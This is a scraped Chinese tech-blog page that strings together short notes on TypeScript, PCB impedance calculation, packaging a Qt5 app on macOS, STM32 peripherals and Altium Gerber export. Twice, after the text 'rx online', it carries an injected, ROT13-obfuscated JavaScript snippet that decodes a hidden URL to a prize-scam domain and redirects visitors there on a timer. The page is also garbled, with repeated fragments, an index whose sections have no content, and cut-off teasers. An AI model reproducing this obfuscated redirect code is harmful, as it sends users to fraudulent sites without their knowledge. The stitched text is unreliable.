TypeScript和ES6一些知识点汇总
1. 参数新特性 1.1 参数新特性 参数类型:在参数名称后面使用冒号来指定参数类型 var myname:string = “bingxiong”; myname = 1; // IDE检查报错 myname = “1” // 正确 是字符串 // 注意这个错误只会在IDE中…
1. 参数新特性 1.1 参数新特性 参数类型:在参数名称后面使用冒号来指定参数类型 var myname:string = “bingxiong”; myname = 1; // IDE检查报错 myname = “1” // 正确 是字符串 // 注意这个错误只会在IDE中…
索引:
第一部分:阻抗的介绍
第二部分:PCB案例层数的解析
第三部分:设备情况下需要做阻抗,什么型号才需要做阻抗
第四部分:SI9000软件的使用方法
第五部分:2、4、6层案例中的相关信号演示怎么进行阻抗计算
第六部分:阻抗计算完成后再PCB中修正线宽或线距从而达到预算的阻抗值
第七部分:简单介绍板厂是如何处理PCB中的阻抗线得
第一部分:阻抗的介绍
特性阻抗是指当导体中有电子“讯号”波形传播时,其电压对电流得比值称为特性阻抗。由于交流电路中或再高频情况下,原已混杂有其他因素得电阻,因此已不再只是简单直流电的欧姆电阻,而是称为阻抗。但是由于阻抗又是交流电的概念,因此为了区别我们将其称为特性阻抗。为了使信号,低失真﹑低干扰、低串音及消除电磁干扰 EMI。阻抗设计在 PCB 设计中显得越来越重要。再电路板上影响特性阻抗的因素有:横截面积、线路与接地层之间的绝缘材质厚度,以及介电常数等三项。
阻抗类型:
(1)特性阻抗 在计算机﹑无线通信等电子信息产品中, PCB 的线路中的传输的能量, 是一种由电压与时间所构成的方形波信号(square wave signal, 称为脉冲 pulse),它所遭遇的阻力则称为特性阻抗。
(2)差动阻抗 驱动端输入极性相反的两个同样信号波形,分別由两根差动线传送,在接收端这两个差动信号相減。差动阻抗就是两线之間的阻抗 Zdiff。
(3)奇模阻抗 两线中一线對地的阻抗 Zoo,两线阻抗值是一致。
(4)偶模阻抗 驱动端输入极性相同的两个同样信号波形, 將两线连在一起时的阻抗 Zcom。
(5)共模阻抗 两线中一线对地的阻抗 Zoe,两线阻抗值是一致,通常比奇模阻抗大。其中特性和差动为常见阻抗,共模与奇模等很少见
在具体的加工和设计时我们一般控制主要以下几个因素:
Er–介电常数
H—介质厚度
W—走线宽度
T—走线厚度
残铜率
第二部分:PCB案例层数的解析
第三部分:设备情况下需要做阻抗,什么型号才需要做阻抗
第四部分:SI9000软件的使用方法
第五部分:2、4、6层案例中的相关信号演示怎么进行阻抗计算
第六部分:阻抗计算完成后再PCB中修正线宽或线距从而达到预算的阻抗值
第七部分:简单介绍板厂是如何处理PCB中的阻抗线得
4
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
本文是QT5一些零碎的知识点和采坑合集
目录:
QT5在MAC上打包
QT5 在MAC上打包
第一步:Build Release
首先在Qt Creator中 Projects->Build->Build Settings中选择 Build configuration为Release模式,然后Build,这个时候就会生成一个文件夹,里面有我们打包好的APP。
第二步:打包依赖
此时生成的.app文件还不能直接发布,因为app使用的各种依赖库没有包含吗,这个时候就需要使用Qt自带的一个打包工具macdeployqt来把这些依赖包含进行来
这个工具在/Users/bingxiong/Qt5.12.5/5.12.5/clang_64/bin
我要打包的文件是:/Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app
然后就在bin目录下执行:./macdeployqt /Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app
执行后如果没有报错的话,这个时候的.app就可以直接运行了
第三步:生成dmg
打开Disk Utility,选择File->New Image->Blank Image 来创建对应的dmg镜像
接下来到https://cloudconvert.com/png-to-icns制作App的icon,制作好之后右键get info然后将icon拖拽过去就可以添加icon成功
制作一个Application文件夹的Alias,然后将Application文件夹和刚刚生成的.app文件拖拽过去
这样就制作完成.dmg的安装包
rx online STM32的看门狗分为独立看门狗和窗口看门狗。 第一部分 独立看门狗 独立看门狗由内部专门的40KHz的低速时钟驱动,即使主时钟发生了故障也仍然有效。需要注意的是看门狗的时钟是一个内部的RC时钟,…
这是stm32f103c8t6的三个串口的库函数,没有使用重写printf实现串口的输出,其中第三个串口可配置成普通的串口或者RS485的接口。485接口使用的是SP3485芯片,并使用GPIOB8来使能发送和接收,是半双工的工作…
rx online SPI是串行外围设备接口,是高速的、全双工、同步的通信总线,并且在芯片管脚上只占四根线,实在MC68HCXX系列处理器上定义的。主要用于EEPROM、FLASH、实时时钟,AD转换器。 SPI通讯原理: 主机和…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
这里是导出AD19导出gerber file的备忘
首先进行一次DRC检查,再三确认DRC通过
在mechanical层中巴板框的尺寸标出来
把原点放在左下角
然后开始进行gerber输出:
第一步:
文件->制造输出->gerber file->通用:英寸 2:4->绘制层全选之后,取消掉除了机械1层以外的机械层,因为一般用不到,出图那里勾选机械1层,勾选包含未连接中间层焊盘 -> 钻孔图层两个都打勾
第二步:
制造输出->NC drill->英寸2:5
第三步:
测试点报告-> 报告格式后两个全选
第四步:
如果需要贴片的话输出贴片的文件即可
rx online 早期的嵌入式开发没有嵌入式操作系统的概念,直接操作裸机,再裸机上写程序没有操作系统的概念,通常把程序分为前台系统和后台系统两部分。简单的小系统通常是前后台系统,这样的程序包括一个死循…
rx online 串口输出乱码 自己做了一个基于atmega328的板子,很奇怪的是使用FTDI的5V供电就没有乱码,但是一旦使用了外部供电就全是乱码,我一直以为是电源问题,后来意识到是因为FTDI如果要正常的接收数据需…
rx online JSON在物联网中使用得很多,很多时候需要从串口接收JSON字符串然后根据JSON字符串来进行相应操作,这里使用了cJSON库来进行操作,首先需要将这个JSON库包括进工程中,以下是代码: #include “key.…